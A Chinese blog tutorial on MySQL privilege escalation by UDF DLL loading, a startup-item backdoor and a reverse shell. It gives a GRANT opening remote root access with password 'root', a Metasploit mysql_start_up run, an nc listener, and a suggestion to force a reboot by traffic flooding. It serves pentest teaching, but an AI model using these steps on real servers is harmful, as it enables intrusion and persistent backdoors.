权限提升:Mysql 数据库 .(UDF || 启动项 || 反弹)

news2024/11/29 0:35:43

权限提升:Mysql 数据库.

权限提升简称提权,由于操作系统都是多用户操作系统用户之间都有权限控制,比如通过 Web 漏洞拿到的是 Web 进程的权限,往往 Web 服务都是以一个权限很低的账号启动的,因此通过 Webshell 进行一些操作会受到限制,这就需要将其提升为管理甚至是 System 权限。通常通过操作系统漏洞或操作系统的错误配置进行提权,也可以通过第三方软件服务,如数据库或 FTP 等软件的漏洞进行提权。


目录:

提权思想:

Mysql 数据库提权:

UDF 提权:

                第一步:服务探针.(端口)

                第二步:信息收集.

                第三步:提权利用.

启动项提权:

第一步:开启外连.

第二步:使用 msf 对 数据库 进行提权.

第三步:目标主机重启,则就会启用后门.(怎么重启目标主机,可以使用流量攻击.)

反弹提权:

第一步:在攻击机进行监听

第二步:上传 Mysql 提权工具,以后进行访问.

第三步:创建反弹函数.

 第四步:执行监听.

第五步:返回 kali 查看已经返回成功.


免责声明:

严禁利用本文章中所提到的技术进行非法攻击,否则后果自负,上传者不承担任何责任。


提权思想:

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件: 服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数 据库提权的可能.

流程:服务探针-信息收集-提权利用-获取权限


Mysql 数据库提权:

提权是我们已经有木马或其他的方法连接到web网站的目录了.

数据库的默认端口信息:

1、MySql数据库 ,默认端口是: 3306;

2、Oracle数据库 ,默认端口号为:1521;

3、Sql Server数据库 ,默认端口号为:1433;

4、DB2数据库, 默认端口号为:5000;

5、PostgreSQL数据库, 默认端口号为:5432;

6、国产的DM达梦数据库, 默认端口号为:5236;

7、Redis数据库,默认端口号:6379;

8、Memcached数据库,默认端口号:11211;

9、MongoDB数据库,默认端口号:27017;

UDF 提权:

第一步:服务探针.(端口)


第二步:信息收集.

(1)读取网站数据库配置文件(了解其命名规则及查找技巧

查看数据库配置文件的关键字:

sql,data,inc,config,conn,database,common,include.....


(2)读取数据库存储或备份文件(了解其数据库存储格式及对应内容


第三步:提权利用.

提权的第一步要知道数据库的版本号:

(1)mysql<5.1    导出目录 c:/windows 或 system32

(2)mysql=>5.1   导出安装目录/lib/plugin/


(1)查看数据库的安装目录

select @@basedir;


(2)复制安装目录,进行访问点击 lib 文件.


 (3)点击创建 plugin 目录.(因为 mysql=>5.1 所以要创建这个目录.


(4)复制 plugin 目录的 URL.


(5)然后点安装DLL,然后再点击自己要执行的命令.


(6)提高权限,添加管理员.(这里因为我添加了二次,所以返回的结果已存在.


启动项提权:

导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

第一步:开启外连.

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;


第二步:使用 msf 对 数据库 进行提权.

msfconsole


use exploit/windows/mysql/mysql_start_up        //使用外连模块.


show options            //查看需要配置的模块


set rhosts 192.168.0.102            //设置目标主机 IP 地址.
set username root                     //设置数据库用户名.
set password root                    //设置数据库的密码.
run            //执行模块上传.

第三步:目标主机重启,则就会启用后门.(怎么重启目标主机,可以使用流量攻击.


反弹提权:

第一步:在攻击机进行监听

nc -l -p 5577


第二步:上传 Mysql 提权工具,以后进行访问.


第三步:创建反弹函数.


 第四步:执行监听.


第五步:返回 kali 查看已经返回成功.

    

    

解决安装DLL:https://www.cnblogs.com/awrrays/p/11371522.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/474212.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

〖ChatGPT实践指南 - 零基础扫盲篇⑨〗- OpenAI API 的数据使用政策以及使用限制

文章目录 ⭐ OpenAI API 数据使用政策⭐ 关于 API 数据的一些通用型问题⭐ OpenAI API 数据使用政策的限制 该章节为各位小伙伴介绍以下 OpenAI 的API 数据使用政策&#xff0c;这部分的内容是 OpenAI 官方为我们提供的一份文档&#xff0c;这份文档说明了官方在为我们提供的AP…

Python小姿势 - ## 一、Python多进程编程

一、Python多进程编程 在上一节&#xff0c;我们学习了Python的多线程编程&#xff0c;这节我们学习一下Python的多进程编程。 多进程和多线程比较类似&#xff0c;区别在于多进程是指在一个应用程序中同时运行多个进程&#xff0c;而多线程是指在一个进程中同时运行多个线程。…

ovs-vsctl 命令详解

ovs-vsctl 命令详解 网桥Bridge 创建 Bridge ovs-vsctl add-br br0 删除 Bridge ovs-vsctl del-br br0 列出 Bridge ovs-vsctl list-br 显示详情 ovs-vsctl show 端口 Port 添加端口 ovs-vsctl add-port br0 p1 其中br0 为上面添加的bridge p1可以是物理端口或者vN…

50道web前端工程师面试题及答案解析,你学会了吗

简介&#xff1a;本文包含了50个实用的前端面试题及答案解析&#xff0c;涵盖了HTML、CSS、JavaScript、DOM、Ajax、MVC、模块化、ES6、SPA、Webpack、Babel、Virtual DOM、响应式设计、移动优先设计、响应式图片、CSS 预处理器、后处理器、模块化、布局、盒模型、浮动、定位、…

国民技术N32G430开发笔记(5)- 基本定时器TIM6的使用

基本定时器TIM6的使用 1、设置一个定时器&#xff0c;100ms一次去开关LED灯 2、tim6的初始化代码&#xff1a; 大部分代码来自官方demo /****************************************************************************** Copyright (c) 2019, Nations Technologies Inc.** …

python毕业设计之django+vue专业手语翻译工作室预约管理系统

发起预约&#xff1a;用户选定某翻译员发起预约&#xff0c;进行预约信息填写&#xff0c;主要内容有联系电话、工作方式、场合、时间段&#xff1b;或发起预约&#xff0c;填写预约信息&#xff0c;筛选翻译员&#xff0c;可按关键词筛选或等级筛选。发起预约时间需至少提前服…

从CPU的视角看 多线程代码为什么那么难写!

当我们提到多线程、并发的时候&#xff0c;我们就会回想起各种诡异的bug&#xff0c;比如各种线程安全问题甚至是应用崩溃&#xff0c;而且这些诡异的bug还很难复现。我们不禁发出了灵魂拷问 “为什么代码测试环境运行好好的&#xff0c;一上线就不行了&#xff1f;”。 为了解…

如何将 github pages 迁移到 vercel 上托管

如何将 github pages 迁移到 vercel 上托管 前言 早期网站使用 github pages,后来迁移到 coding,最近又放到腾讯云网站静态托管,无论是 coding 的 cos 存储桶,还是静态网站托管 他们都是收费的,那有没有免费的托管商呢,既不影响网站的访问速度还免费,于是,找了一下,还真有,ve…

电商广告营销中,有哪些常见公式和优化手段

对于电商广告ROI的计算&#xff0c;广泛地应用在二类电商、跨境电商等营销场景中&#xff0c;了解这些相关的投放公式&#xff0c;有助于我们更好地进行广告投放和优化。 特别是针对商家而言&#xff0c;可以指导选品及定价策略、优化最终的广告投放收益&#xff0c;避免出现花…

学系统集成项目管理工程师(中项)系列14_采购管理

1. 概念和术语 1.1. 采购是从项目团队外部获得产品、服务或成果的完整的购买过程 1.2. 三大类 1.2.1. 工程 1.2.2. 产品/货物 1.2.3. 服务 2. 主要过程 2.1. 编制采购管理计划 2.2. 实施采购 2.3. 控制采购 2.4. 结束采购 3. 合同 3.1. 包括买方和卖方之间的法律文…

css布局实战:动态详情九宫格

上篇文件介绍了如何实现九宫格图片展示:css布局入门级实战之九宫格网格布局.不过存在一个问题:图片之间没有间距,用户体验欠佳;基于以上问题,本文进行优化. 较之前实现样式做以下调整:四张图按照两行显示,每行显示三个.不足的显示空白.之前是两行两列显示. 对应九宫格样…

忆暖行动|“他一个人推着老式自行车在厚雪堆的道路上走,车上带着学生考试要用的司机”

忆暖行动|“他一个人推着老式自行车在厚雪堆的道路上走&#xff0c;车上带着学生考试要用的sj” 一头白发&#xff0c;满山青葱 在那斑驳的物件褶皱中&#xff0c;透过泛黄的相片&#xff0c;掩藏着岁月的冲刷和青葱的时光。曾经的青年早已经不复年轻&#xff0c;但是那份热爱…

从信息泄露到权限后台

声明&#xff1a;文中涉及到的技术和工具&#xff0c;仅供学习使用&#xff0c;禁止从事任何非法活动&#xff0c;如因此造成的直接或间接损失&#xff0c;均由使用者自行承担责任。 点点关注不迷路&#xff0c;每周不定时持续分享各种干货。 众亦信安&#xff0c;中意你啊&a…

1210. 穿过迷宫的最少移动次数

你还记得那条风靡全球的贪吃蛇吗&#xff1f; 我们在一个 n*n 的网格上构建了新的迷宫地图&#xff0c;蛇的长度为 2&#xff0c;也就是说它会占去两个单元格。蛇会从左上角&#xff08;(0, 0) 和 (0, 1)&#xff09;开始移动。我们用 0 表示空单元格&#xff0c;用 1 表示障碍…

题目 3166: 蓝桥杯2023年第十四届省赛真题-阶乘的和--不能完全通过,最好情况通过67.

原题链接&#xff1a; 题目 3166: 蓝桥杯2023年第十四届省赛真题-阶乘的和 https://www.dotcpp.com/oj/problem3166.html 致歉 害&#xff0c;首先深感抱歉&#xff0c;这道题还是没有找到很好的解决办法。目前最好情况就是67分。 这道题先这样跳过吧&#xff0c;当然以后还…

RabbitMQ 03 直连模式-可视化界面

这里先演示最简单的模型&#xff1a;直连模式。其结构图为&#xff1a; 一个生产者 -> 消息队列 -> 一个消费者 生产者只需要将数据丢进消息队列&#xff0c;而消费者只需要将数据从消息队列中取出&#xff0c;这样就实现了生产者和消费者的消息交互。 创建一个新的实验…

CLion开发工具 | 05 - 使用CLion开发ESP32

专栏介绍 一、准备工作 电脑上安装好ESP-IDF环境本文参考Jetbrains官方视频教程&#xff1a;在 Windows 上用 CLion 开发 ESP32 | CLion教程 | 嵌入式开发 | IDE 二、打开工程 复制一份新的helloworld工程。 使用CLion打开该工程。 选择信任该工程。 CLion打开后自动打开…

Linux 基础语法 -2

如果我们以后再Linux当中 写了一些命名&#xff0c;导致程序我们不能进行操作了&#xff0c;如这个死循环&#xff1a; 他就会一直输出 "hello Linux" &#xff0c;我们就使用 ctrl c 来终止因为程序或者指令异常&#xff0c;而导致我们无法进行指令输入&#xff…

2023/04/27~28 刷题记录

D - JoJos Incredible Adventures 大致题义&#xff1a; 有一串由 0,1 构成的字符串&#xff0c;每次循环右移一位&#xff0c;行编号从 0 一直到 n-1。求这些行里由 1 构成的最大矩形面积。 题解&#xff1a; 我们其实可以观察到一串连续的 1 经过右移后是会形成一对正三角和…

C# WebService的开发以及客户端调用

目录 1、WebService简介 1.1 什么是XML&#xff1f; 1.2 什么是Soap&#xff1f; 1.3 什么是WSDL&#xff1f; 2、WebService与WebApi的区别与优缺点 2.1 WebService与WebApi的区别&#xff1a; 2.2 WebService的优缺点&#xff1a; 2.3 WebApi的优缺点&#xff1a; 3…